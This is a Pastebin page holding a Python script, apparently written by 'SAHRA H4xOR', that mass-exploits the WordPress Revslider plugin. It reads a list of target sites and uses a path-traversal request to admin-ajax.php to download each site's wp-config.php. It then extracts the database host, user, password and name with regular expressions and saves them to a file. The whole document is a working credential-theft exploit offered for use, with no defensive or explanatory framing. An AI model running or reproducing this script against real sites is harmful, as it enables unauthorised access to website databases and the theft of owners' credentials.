Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests,re
- print """
- -------------------------------------------------------------------------
- _ __ ______
- | | / /___ _________/ / __ \________ __________
- | | /| / / __ \/ ___/ __ / /_/ / ___/ _ \/ ___/ ___/
- | |/ |/ / /_/ / / / /_/ / ____/ / / __(__ |__ )
- |__/|__/\____/_/ \__,_/_/ /_/ \___/____/____/
- Revslider
- By SAHRA H4xOR
- -------------------------------------------------------------------------"""
- lis = open('sites.txt','r').readlines()
- for site in lis:
- site = site.rstrip()
- try:
- Exp = 'http://' + site + \
- '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
- GetConfig = requests.get(Exp, timeout=5)
- if 'DB_PASSWORD' in GetConfig.text.encode('utf-8'):
- print ('Path:Config_revslider.txt')
- with open('Config_revslider.txt', 'a') as ww:
- ww.write(' Config Path : ' + Exp + '\n')
- try:
- 0
- Gethost = re.findall("'DB_HOST', '(.*)'", GetConfig.text.encode('utf-8'))
- Getuser = re.findall("'DB_USER', '(.*)'", GetConfig.text.encode('utf-8'))
- Getpass = re.findall("'DB_PASSWORD', '(.*)'", GetConfig.text.encode('utf-8'))
- Getdb = re.findall("'DB_NAME', '(.*)'", GetConfig.text.encode('utf-8'))
- with open('Config_revslider.txt', 'a') as ww:
- ww.write(' Host: ' + Gethost[0] + '\n' + ' user: ' + Getuser[0] +'\n' + ' pass: ' + Getpass[0] + '\n' + ' DB: ' + Getdb[0] + '\n++++++++++++++++++n')
- except:
- print "0"
- except:
- print '0'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement